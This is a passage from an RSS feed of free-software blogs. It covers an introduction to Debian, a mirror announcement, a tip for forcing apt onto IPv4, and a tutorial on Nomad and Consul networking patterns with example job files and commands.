Credits: <a href="http://www.juliettetaka.com/">Juliette Taka</a>. License: CC-BY-SA-4.0. Source: <a href="https://wiki.debian.org/DebianArt/Themes/Homeworld">Debian wiki</a>.</figcaption>
</figure>
<p>Debian operating system has three branches: <a href="https://wiki.debian.org/DebianStable">stable</a>, <a href="https://www.debian.org/doc/manuals/debian-faq/ftparchives#testing">testing</a> and <a href="https://www.debian.org/doc/manuals/debian-faq/ftparchives.en.html#unstable">unstable</a>. Debian explains that <a href="https://wiki.debian.org/DebianStability">the main goal of the project is to develop the stable branch</a>. Other branches are only a means for that end. Of course, many users might still find it suitable to install testing or unstable, keeping in mind that these might break.</p>
<p>Debian is known for its stability and its universality. The stability of Debian stable branch comes from the fact that it is extensively tested before the release as the testing branch. The three branch system allows the user to choose the desired stability. The stable branch gets only security updates and mission critical bug fixes. So, the packages in stable branch might not be the latest version, but they are tested thoroughly before putting there. Debian Stable users can download recent releases of some software from the <a href="https://backports.debian.org/">Debian backports repository</a>. Stable branch is a recommended one for a company&rsquo;s production machine or school labs and personal computers too.</p>
<p>Debian can run on all types of hardware and supports <a href="https://www.debian.org/ports/">9 CPU architectures</a> and some others unofficially as well. It can run on your personal computer, a school computer, old hardware, servers, Raspberry Pi and similar devices, IoT devices, etc. Whatever piece of hardware you have, you can put Debian on it, and that is why Debian&rsquo;s tagline is &lsquo;The Universal Operating System&rsquo;. This is <a href="https://www.debian.org/doc/manuals/debian-faq/basic-defs.en.html#difference">far more than</a> is available for any other GNU/Linux distribution.</p>
<p>Many popular GNU/linux distributions are based on Debian. Examples are: <a href="https://ubuntu.com">Ubuntu</a>, <a href="https://puri.sm/posts/what-is-pureos-and-how-is-it-built/">PureOS</a>, <a href="https://tails.boum.org/">Tails OS</a> etc.</p>
<h3 id="people-behind-debian">People behind Debian</h3>
<p>Debian&rsquo;s biggest feature is the community behind it and how that community makes decisions. The guiding principles of Debian community are <a href="https://www.debian.org/social_contract">the Debian Social Contract</a> and the <a href="https://www.debian.org/social_contract#guidelines">Debian Free Software guidelines</a>.</p>
<figure>
<img src="https://www.debian.org/Pics/Debconf19_group_photo.jpg"; alt="DebConf19 group photo">
<figcaption><a href="https://debconf19.debconf.org/">DebConf19</a> group photo.
<br>
Source: <a href="https://www.debian.org/Pics/"> Debian Pics</a>.
<br>
License:<a href="https://www.debian.org/legal/licenses/mit">MIT License (Expat)</a>. <a href="https://www.debian.org/license">Debian license page</a>.
</figcaption>
</figure>
<p>In short, the Debian Social contract promises the following to its users: 1) 100% Free Software; 2) Debian project will give back to Free Software community; 3) Problems won&rsquo;t be hidden; 4) Users are priority; 5) providing support for nonfree packages to users, if required.</p>
<p>The track record of 29 years of the project says that these promises have never been broken. It is an independent project made by volunteers <a href="https://www.debian.org/devel/developers.loc">all around the globe</a>. It has a democratic decision-making structure as directed by its <a href="https://www.debian.org/devel/constitution">constitution</a>.</p>
<p>Companies or individuals sponsoring Debian project do not get any say in the decisions of the Debian project just because they gave money to the project.</p>
<p>Debian project&rsquo;s democratic decision making along with software freedom of the operating system <a href="https://lists.debian.org/debian-security/2022/04/msg00047.html">makes it one of the most secure operating systems</a>, since Debian does not have a single point of failure.</p>
<p>This works as follows:</p>
<p>Every Debian Developer&rsquo;s gpg keys are <a href="http://en.wikipedia.org/wiki/Digital_signature">signed</a> by at least two other existing Debian developers. It is a decentralized trust model and forms a <a href="https://www.gnupg.org/gph/en/manual.html#AEN385">web of trust</a>. Every package uploaded to Debian is compiled from its source code and signed by the private gpg keys of a Debian Developer. Only the owner of the keys can have their private keys. A maintainer of a Debian package abusing their position to upload malicious code intentionally will harm their own reputation in the society as every upload is public and it will stay there for lifetime. Compare this to a centralized corporation where they can upload malicious code in the packages but this commit is not public.</p>
<p>How can we make sure that the binaries match the source code? Debian is also working on <a href="https://wiki.debian.org/ReproducibleBuilds">reproducible builds</a>, so that users can build the package on their own and verify that the binary actually matches the source code. Purism explained the concept very well in their <a href="https://puri.sm/posts/freedom-from-coercion/">blog post</a>.</p>
<p>Debian has a separate <a href="https://wiki.debian.org/LTS">LTS team</a> which provides support to Debian stable releases for at least 5 years. This can be helpful for companies and organizations who want support in their Debian usage.</p>
<p>In conclusion, Debian is a freedom-respecting operating system maintained and developed by its users around the globe. It is not controlled by a single entity and this makes it hard to compromise, making it one of the most secure operating systems on the earth.</p>
<h3 id="my-experience">My experience</h3>
<p>I started using Debian in August 2021 and I have tried all the branches of Debian: stable, testing and unstable. I was not using only Debian in this time frame and have switched to PureOS for around 6 months. Personally, I faced no problems in using Debian. I found that even testing branch is stable enough to be my daily driver. Currently, I am running the stable branch of Debian Bullseye, along with adding backports to my sources file. The Desktop environment that has suited me the most as of now is KDE Plasma. I love it and whenever I switch to any other Desktop Environment, I do not feel at home.</p>
<figure>
<img src="https://ravidwivedi.in/images/debian-bullseye-kde-plasma.png"; width="700">
<figcaption>Debian with KDE Plasma desktop. Released under CC-BY-SA-4.0</figcaption>
</figure>
<h3 id="read-further">Read further</h3>
<p>Want to install Debian in your computer? or curious about how to contribute to Debian? Please check:</p>
<ul>
<li>
<p><a href="https://www.debian.org/distrib/">Get Debian</a> for your device.</p>
</li>
<li>
<p><a href="https://www.debian.org/devel/join/">Contribute to Debian</a>.</p>
</li>
<li>
<p>An <a href="https://libretech.shop/product/lc230/">Indian shop</a> sells hardware that can run fully free version of Debian.</p>
</li>
<li>
<p>Buy a computer with <a href="https://www.debian.org/distrib/pre-installed">Debian pre-installed</a>.</p>
</li>
<li>
<p>Clevo is <a href="https://laptopwithlinux.com/buy-debian-laptop-notebooks-with-debian-linux-preinstalled/">shipping laptops</a> with Debian out-of-the-box.</p>
</li>
<li>
<p><a href="https://puri.sm/products/">Librem hardware</a>(like laptops and mobile phones) <a href="https://puri.sm/faq/can-i-install-a-different-os-on-my-librem-laptop/">can run Debian</a>.</p>
</li>
<li>
<p>If you have any technical questions, please feel free to ask any of the <a href="https://www.debian.org/support">Debian user support channels</a> or <a href="https://fsci.in/tech-support/">Free Software Community of India</a>.</p>
</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Albony.xyz Mirror]]></title>
            <link>https://shrirangkahale.com/posts/albony-mirror/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/albony-mirror/</guid>
            <pubDate>Fri, 24 Jun 2022 16:35:04 GMT</pubDate>
            <description><![CDATA[mirror.albony.xyz Currently mirroring 11 repositories. (archlinux, endeavouros, linuxmint, artixlinux, cachylinux, fdroid, manjaro, armbian, termux, blackarch and chaotic-aur)
This mirror has 1Gbits/s bandwidth and it’s hosted in Nagpur, India. I get more than 14TB in traffic and more than 14 Million requests per month, and around 2TB every week, sometimes even more. You can support me by donating at: https://mirror.albony.xyz/donate.html Via BTC or buymecoffee]]></description>
            <content:encoded><![CDATA[mirror.albony.xyz Currently mirroring 11 repositories. (archlinux, endeavouros, linuxmint, artixlinux, cachylinux, fdroid, manjaro, armbian, termux, blackarch and chaotic-aur)
This mirror has 1Gbits/s bandwidth and it&rsquo;s hosted in Nagpur, India. I get more than 14TB in traffic and more than 14 Million requests per month, and around 2TB every week, sometimes even more. You can support me by donating at: https://mirror.albony.xyz/donate.html Via BTC or buymecoffee]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[APT mirror connection issue: IPv6]]></title>
            <link>https://shrirangkahale.com/posts/apt-ipv6/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/apt-ipv6/</guid>
            <pubDate>Mon, 16 May 2022 09:42:24 GMT</pubDate>
            <description><![CDATA[The Problem when I did sudo apt update && sudo apt upgrade -y I noticed that it was trying to connect to the ubuntu mirror over IPv6 (and failing) My ISP hasn’t enabled IPv6 for me, so I can’t connect over IPv6. and I don’t have any IPv6 DNS servers. But still apt was trying to connect over IPv6… weird… The Fix You can create a file in the /etc/apt/apt.conf.d directory to force apt to use IPv4 echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.]]></description>
            <content:encoded><![CDATA[The Problem when I did sudo apt update &amp;&amp; sudo apt upgrade -y I noticed that it was trying to connect to the ubuntu mirror over IPv6 (and failing) My ISP hasn&rsquo;t enabled IPv6 for me, so I can&rsquo;t connect over IPv6. and I don&rsquo;t have any IPv6 DNS servers. But still apt was trying to connect over IPv6&hellip; weird&hellip; The Fix You can create a file in the /etc/apt/apt.conf.d directory to force apt to use IPv4 echo &#39;Acquire::ForceIPv4 &#34;true&#34;;&#39; | sudo tee /etc/apt/apt.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Understanding Networking in Nomad]]></title>
            <link>https://mrkaran.dev/posts/nomad-networking-explained/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/nomad-networking-explained/</guid>
            <pubDate>Fri, 13 May 2022 18:40:55 GMT</pubDate>
            <description><![CDATA[Nomad is a general-purpose cluster orchestrator and scheduler. Up until Nomad 1.3 was released, it had no native support for discovering other applications running in the cluster. This is sort of a very elementary requirement when scheduling tasks in a cluster. Nomad relies on Consul to discover other “services” and has first class support for registering and fetching service records which makes things easier. Consul provides the records via various mechanisms such as a REST API, DNS and Consul Templates which render the exact IP/Port of the service in a Go template that can be injected into your application.
I’ve been using Nomad since quite some time (both at work and for my self hosted instance) however I’ve often tripped when it comes to Networking. Nomad has a lot of simple concepts and it all “clicks” once you understand and recognise various patterns that can be used to connect the applications. A major learning curve for someone new to Nomad and trying to integrate Consul is that the person now has to first understand how Consul works, deploy a Consul cluster and this creates a lot of friction amongst newcomers to Nomad. Nomad 1.3 solves a part of this issue (i.e. no need to run Consul for basic service discovery) and is a great fit for just getting started with Nomad based networking. However, in this post I’d like to go through all the different networking patterns I’ve known or used in production and make an attempt at simplifying these concepts for Nomad beginners.
here.

Scenario 1: Expose an application on the host#

We’ll start off with the simplest usecase: You have a redis container and you want to expose that to the host. The docker run equivalent to what we wanna do is:
docker run --rm -p=6379 redis:7
This command exposes a dynamic port on your host. To see what exactly is the port number, you can do docker ps and find out an output similar to 0.0.0.0:49153->6379/tcp under PORTS.
To verify, I can use redis-cli to connect to this host:
$ redis-cli -p 49153                
127.0.0.1:49153> ping
PONG
Fantastic! Now, let’s stop this container and see how we can do the same in Nomad.
job "redis" {
  datacenters = ["dc1"]
  type        = "service"

  group "redis" {
    count = 1

    network {
      mode = "host"
      port "redis" {
        to = 6379
      }
    }

    task "redis" {
      driver = "docker"

      config {
        image = "redis:7"
        ports = ["redis"]
      }

      resources {
        cores  = 1
        memory = 256
      }
    }
  }
}
This is a barebones definition of how to run Redis on Nomad. We’re not dealing with any volume mounts, custom config etc here - the idea is to only learn networking concepts in Nomad!
Save the above file as job.nomad and deploy to the cluster with:
nomad run job.nomad
Within a few lines of config, we have a Docker container running, which exposes a dynamic port 23522.

We can connect to it via redis-cli on our host:
$ redis-cli -p 23522
127.0.0.1:23522> ping
PONG
NOTE: It’s important to have ports in your task.config section. Nomad passes this information to the docker daemon running on the host. So unless you specify which ports to advertise in the container, it won’t know whether to expose 6379 or not.
This can be easily verified with docker inspect:
# without `ports`
$ docker inspect fc32a4ffd148 -f "{{json .NetworkSettings.Ports }}" | jq '.'
{
  "6379/tcp": null
}

# with `ports`
$ docker inspect 0421101d0228 -f "{{json .NetworkSettings.Ports }}" | jq '.'
{
  "6379/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "31930"
    }
  ],
  "6379/udp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "31930"
    }
  ]
}
Exposing Static ports#
A less common scenario is to bind an application to a static port on the host. We’ll cover an example of when you want to do that a bit later, but this is generally not widely used because in a cluster your application can “float” around and the idea of sticking to a port is not useful. However, there’s a way for us to do that by simply adding a static line in our port block:
    network {
      port "redis" {
        to     = 6379
        static = 6379
      }
    }

When we deploy the same file again, we can see the port allocation has changed from dynamic to the static port we assigned. It’s your job to ensure no other applications are listening on that same interface and port because that’s bound to cause conflicts.
Scenario 2: Communicate to Redis within the same group#
For this scenario, we are going to assume there’s a Go application that needs to talk to Redis. However, in this scenario, the Redis is sort of like an ephemeral cache, so it’s okay to deploy both of them in the same Task Group.

A Group can contain multiple tasks. What's important to know here is that a group will always have its own shared network namespace. This means, that if you have 2 tasks in the group, they both will have access to the same network namespace. This allows both tasks to talk to each other on the same network interface.

job "hello" {
  datacenters = ["dc1"]
  type        = "service"

  group "app" {
    count = 1

    network {
      mode = "host"
      port "app" {
        to     = 8080
        static = 8080
      }
      port "redis" {
        to     = 6379
        static = 6379
      }
    }

    task "redis" {
      driver = "docker"

      config {
        network_mode = "host"
        image        = "redis:7"
        ports        = ["redis"]
      }

      resources {
        cores  = 1
        memory = 256
      }
    }


    task "app" {
      driver = "docker"
      env {
        DEMO_REDIS_ADDR = "${NOMAD_ADDR_redis}"
      }

      config {
        network_mode = "host"
        image        = "mrkaran/hello-app:1.0.0"
        ports        = ["app"]
      }

      resources {
        cores  = 1
        memory = 512
      }
    }
  }
}
Key Points:
You can see we have defined task app and task redis under the same group, app. This means that Nomad will co-locate both of these tasks on the same client (because they tend to share not just the same network namespace but a common allocation directory as well - which makes it super easy to share files across tasks).
We are using NOMAD_ADDR_redis to get the IP:Port combination for the redis task. This gets injected at runtime by Nomad. You can find a list of runtime variables here.
This is ideal for quick tests/dev setup where you don’t want the overhang of Service Discovery etc and want to connect to your applications in the least friction possible.
The above config is suitable if you’re migrating from docker-compose based environments, you can use this template for your services. The biggest limitation of this approach is that it’s using a host network so it’s not possible to set up any kind of Access Controls on it. This effectively means that nothing prevents any other application on the cluster to talk to these ports.
Scenario 3: Communicate across different groups#
Task Groups are useful if you have related tasks (like the init task where you wanna fetch the files before the task starts). But a drawback of using group is that you can’t scale the tasks independently. In the above example, we placed Redis and App in the same group, but that means if you increase count of same group to scale the app, you end up scaling Redis containers too. This is undesirable as Redis may not to scale proportionally to app.
The way to do create multiple groups is to split the tasks into their own individual groups:
job "hello" {
  datacenters = ["dc1"]
  type        = "service"

  group "app" {
    count = 1

    network {
      mode = "host"
      port "app" {
        to     = 8080
        static = 8080
      }
    }

    task "app" {
      driver = "docker"
      env {
        DEMO_REDIS_ADDR = "localhost:6379"
      }

      config {
        image = "mrkaran/hello-app:1.0.0"
        ports = ["app"]
      }

      resources {
        cores  = 1
        memory = 512
      }
    }
  }

  group "redis" {
    count = 1

    network {
      mode = "host"
      port "redis" {
        to     = 6379
        static = 6379
      }
    }

    task "redis" {
      driver = "docker"

      config {
        image = "redis:7"
        ports = ["redis"]
      }

      resources {
        cores  = 1
        memory = 256
      }
    }
  }
}
When you submit this job, you get 2 allocation IDs (each group creates one alloc). The key point here is that both of these groups have their own network namespace. So, we don’t really have any way to reach the other application (we can’t really rely on the host network, because there’s no guarantee that both of these groups will be deployed on the same node).
In the previous example, we saw how Nomad exposes runtime variables that contained information about all tasks in other groups. But now since the groups are separate, the app container has no idea about redis (or vice-versa):
env | grep NOMAD
NOMAD_REGION=global
NOMAD_CPU_LIMIT=4700
NOMAD_IP_app=127.0.0.1
NOMAD_JOB_ID=hello
NOMAD_TASK_NAME=app
NOMAD_SECRETS_DIR=/secrets
NOMAD_CPU_CORES=1
NOMAD_NAMESPACE=default
NOMAD_ALLOC_INDEX=0
NOMAD_ALLOC_DIR=/alloc
NOMAD_JOB_NAME=hello
NOMAD_HOST_IP_app=127.0.0.1
NOMAD_SHORT_ALLOC_ID=a9da72dc
NOMAD_DC=dc1
NOMAD_ALLOC_NAME=hello.app[0]
NOMAD_PORT_app=8080
NOMAD_GROUP_NAME=app
NOMAD_PARENT_CGROUP=nomad.slice
NOMAD_TASK_DIR=/local
NOMAD_HOST_PORT_app=8080
NOMAD_MEMORY_LIMIT=512
NOMAD_ADDR_app=127.0.0.1:8080
NOMAD_ALLOC_PORT_app=8080
NOMAD_ALLOC_ID=a9da72dc-94fc-6315-bb37-63cbeef153b9
NOMAD_HOST_ADDR_app=127.0.0.1:8080
Service Discovery#
This is where things get interesting. The app group needs to discover redis before connecting to it. There are multiple ways to do that, but we’ll cover 2 standard ways which are more common.
Using Nomad native service discovery#

This is a feature launched in Nomad 1.3. Up until this release, Nomad had to rely on Consul for this. But with native service discovery built in Nomad, things are much simpler. Let’s make the following changes to our job file. In each group, we’ll add a service definition:
  group "app" {
    count = 1

    network {
      mode = "host"
      port "app" {
        to = 8080
      }
    }

    service {
      name     = "app"
      provider = "nomad"
      port     = "app"
    }
    // task is the same
  }

  group "redis" {
    count = 1

    network {
      mode = "host"
      port "redis" {
        to = 6379
      }
    }

    service {
      name     = "redis"
      provider = "nomad"
      port     = "redis"
    }
    // task is the same
  }
So, we added a new service block and got rid of static ports. Well, there’s no need to bind to static ports when we’re using service discovery.
After submitting the job, we can use the nomad service list command to ensure the services are registered with Nomad.
nomad service list    
Service Name  Tags
app           []
redis         []
To find out details about a particular service, we can use nomad service info:
$ nomad service info app      
Job ID  Address          Tags  Node ID   Alloc ID
hello   127.0.0.1:29948  []    d92224a5  5f2ac51f
$ nomad service info redis
Job ID  Address          Tags  Node ID   Alloc ID
hello   127.0.0.1:22300  []    d92224a5  8078c9a6
Perfect! We can see the dynamic port assignment in each of the services. To use this config in our app, we will template it:
    task "app" {
      driver = "docker"

      template {
        data = <<EOH
{{ range nomadService "redis" }}
DEMO_REDIS_ADDR={{ .Address }}:{{ .Port }}
{{ end }}
EOH

        destination = "secrets/config.env"
        env         = true
      }

      config {
        image = "mrkaran/hello-app:1.0.0"
        ports = ["app"]
      }

      resources {
        cores  = 1
        memory = 512
      }
    }
We added the template stanza which will interpolate the env variables in the container. We loop over nomadService and get the address and port of the redis service. This makes it convenient for tasks on other nodes to discover each other.
Using Consul Service Discovery#

Just by tweaking provider in our service block, we can use the Consul agent for service discovery.
    service {
      name     = "app"
      provider = "consul"
      port     = "app"
    }


    task "app" {
      driver = "docker"

      template {
        data = <<EOH
{{ range service "redis" }}
DEMO_REDIS_ADDR={{ .Address }}:{{ .Port }}
{{ end }}
EOH

Ensure that you're running Consul and have connected Nomad to it. Please refer to docs for the same.

Since now we are using consul for registering services, we have to loop over service instead of nomadService. The rest of the things remain pretty much the same. I really like how with just 2 lines of code you can switch between Nomad/Consul for discovering services.
Now, of course, there are certain advantages to using Consul:
You can query the address of the service with DNS:
doggo redis.service.consul @tcp://127.0.0.1:8600
NAME                    TYPE    CLASS   TTL ADDRESS     NAMESERVER     
redis.service.consul.   A       IN      0s  172.20.10.3 127.0.0.1:8600  
Define health checks. Since it’s a new feature, health checks on Nomad service aren’t there but there’s a GitHub issue open for the same.
Update (2024): Native health checks are now available in Nomad since version 1.4 (released October 2022). This means you can define health checks directly in your Nomad service definitions without requiring Consul. You can read more about this in the Nomad documentation.
Accessible by applications outside Nomad. In case consul is used by other applications outside of the Nomad cluster, they can still get their address (using DNS or REST APIs)
However, Nomad native service discovery is perfect for local setups and even smaller use-cases in production because it eliminates the need of running Consul in your stack which is a big thing!
Scenario 4: Restricting access to certain namespaces#

In all the above scenarios, we found that the service gets exposed to the local Nomad client. In case you’re running multiple namespaces on your cluster, you’d like to not expose them at all. In addition, you may want to express fine-grained controls on which application can access a particular service. All of this is possible via a Service Mesh. Nomad provides a way to have a “service mesh” via Consul Connect. Consul Connect can do mTLS and service authorization. Under the hood, it’s an Envoy proxy that runs alongside your app (sidecar is a fancy way to say that). The consul agent configures an Envoy configuration for you so it’s all pretty seamless.
For this to work, the first thing we need is a bridge network mode. This network model is actually a CNI plugin and needs to be installed separately in /opt/cni/bin. Follow the steps mentioned here.
    network {
      mode = "bridge"
      port "redis" {
        to = 6379
      }
    }
The service in redis is called as a Consul Connect Ingress:
    service {
      name     = "redis"
      provider = "consul"
      port     = "6379"
      connect {
        sidecar_service {}
      }
    }
It’s an empty block because we don’t need to define any upstream here. The rest of the values will be default values.
Next, we create a service for our app and that is a Consul Connect Egress:
    service {
      name     = "app"
      provider = "consul"
      port     = "app"
      connect {
        sidecar_service {
          proxy {
            upstreams {
              destination_name = "redis"
              local_bind_port  = 6379
            }
          }
        }
      }
    }
Here  we define an upstream for redis. If you notice closely, we are using a port number in Consul Connect Ingress. For some reason, if you use a named port instead of 6379 it doesn’t work. I am not entirely sure if it’s a bug or it’s intended to work like this.
So here, when the app wants to talk to redis, it talks to localhost:6379 which is the local port that the Envoy sidecar is listening to. We can verify that using netstat:
$ netstat -tulpvn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.2:19001         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:23237           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      1/./hello.bin
The traffic is sent from this port to the other Envoy proxy on a port that it advertises (and Consul automagically configured). That Envoy proxy further sends the traffic to the redis container on port 6379. The proxied traffic is securley encrypted via mTLS and authorized (via Consul Intentions - not covered in this post).
Scenario 5: Exposing services to end-user#

In the first scenario, we discussed using static ports. Well, it turns out it’s super helpful if you want to define a Traffic Ingress service. Unlike K8s, Nomad doesn’t have any Ingress Controllers, so the best way is to deploy these web proxies on each node as a system job (which means it’s ensured to run on every client node) and bind them to a static port (say 443/80). Then, configure your Load Balancers and register all the Nomad nodes as target IPs and their ports would be the static port you define. These Ingress proxies (like HAProxy/Nginx) can then be used to talk to your application via any of the patterns we’ve mentioned above.
Typically, you’d want to use a “Host-Based” routing pattern for your ingress proxy to make a routing decision.
For eg, in case you have an a.example.org DNS record pointing to an ALB. Now, when the request comes to the ALB, it forwards to any one of the NGINX/HAProxy. For HAProxy to correctly route the traffic to `a service, you can use a “Host” header.
Summary#
These were some of the common networking patterns that I’m aware of. Since some of these concepts are not really straightforward I hope the explanation helped in bringing some clarity.
There’s much more to this topic like Consul Gateways and multiple kind of CNIs which tweak how networking happens in the cluster but those are some really advanced topics that are out of the scope for this post.
Fin!]]></description>
            <content:encoded><![CDATA[<p><a rel="external" href="https://www.nomadproject.io/">Nomad</a> is a general-purpose cluster orchestrator and scheduler. Up until <a rel="external" href="https://www.hashicorp.com/blog/nomad-1-3-adds-native-service-discovery-and-edge-workload-support">Nomad 1.3</a> was released, it had no native support for discovering other applications running in the cluster. This is sort of a very elementary requirement when scheduling tasks in a cluster. Nomad relies on Consul to discover other “services” and has first class support for registering and fetching service records which makes things easier. Consul provides the records via various mechanisms such as a REST API, DNS and Consul Templates which render the exact IP/Port of the service in a Go template that can be injected into your application.</p>
<p>I’ve been using Nomad since quite some time (both at work and for my self hosted instance) however I’ve often tripped when it comes to Networking. Nomad has a lot of simple concepts and it all “clicks” once you understand and recognise various patterns that can be used to connect the applications. A major learning curve for someone new to Nomad and trying to integrate Consul is that the person now has to first understand how Consul works, deploy a Consul cluster and this creates a lot of friction amongst newcomers to Nomad. Nomad 1.3 solves a part of this issue (i.e. no need to run Consul for basic service discovery) and is a great fit for just getting started with Nomad based networking. However, in this post I’d like to go through all the different networking patterns I’ve known or used in production and make an attempt at simplifying these concepts for Nomad beginners.</p>
<p class="ad-info">
I'll be running a single node Nomad on my dev machine. The instructions to do that can be seen <a href="https://gist.github.com/mr-karan/b1bb4f65ae31d91985e6a64451b79f6e">here</a>.
</p>
<h2 id="scenario-1-expose-an-application-on-the-host">Scenario 1: Expose an application on the host<a class="zola-anchor" href="#scenario-1-expose-an-application-on-the-host" aria-label="Anchor link for: scenario-1-expose-an-application-on-the-host">#</a></h2>
<p><img src="https://mrkaran.dev/images/nomad_redis_dyn_port_illus.png" alt="image" /></p>
<p>We’ll start off with the simplest usecase: You have a <code>redis</code> container and you want to expose that to the host. The <code>docker run</code> equivalent to what we wanna do is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p=6379</span><span style="color: light-dark(#032F62, #96D0FF);"> redis:7</span></span></code></pre>
<p>This command exposes a dynamic port on your host. To see what exactly is the port number, you can do <code>docker ps</code> and find out an output similar to <code>0.0.0.0:49153-&gt;6379/tcp</code> under <code>PORTS</code>.</p>
<p>To verify, I can use <code>redis-cli</code> to connect to this host:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> redis-cli</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 49153</span><span>                </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">127.0.0.1:49153</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PONG</span></span></code></pre>
<p>Fantastic! Now, let’s stop this container and see how we can do the same in Nomad.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis:7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 256</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>This is a barebones definition of how to run Redis on Nomad. We’re not dealing with any volume mounts, custom config etc here - the idea is to only learn networking concepts in Nomad!</p>
<p>Save the above file as <code>job.nomad</code> and deploy to the cluster with:</p>
